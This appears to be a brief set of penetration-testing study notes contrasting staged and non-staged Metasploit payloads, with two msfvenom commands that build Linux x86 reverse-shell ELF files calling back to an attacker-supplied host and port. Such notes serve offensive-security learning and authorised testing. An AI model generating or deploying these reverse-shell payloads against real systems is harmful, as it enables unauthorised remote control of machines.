Staged vs Non-staged Payloads

 

Staged payload:

(useful for bof) (need multi_handler Metasploit in order to works)

Windows/shell/reverse_tcp


msfvenom -a x86 -p linux/x86/shell/reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -b "\x00" -f elf -o <[FILE_NAME_STAGED]>

Non-staged: (ok with netcat listener)

Windows/shell_reverse_tcp

Staged, is represented by '/'








Inline Payloads (Non-Staged):

msfvenom -a x86 -p linux/x86/shell_reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -b "\x00" -f elf -o <[FILE_NAME_NON_STAGED]>

A single payload containing the exploit and full shellcode for the selected task. Inline payloads are by design more stable than their counterparts because they contain everything all in one.
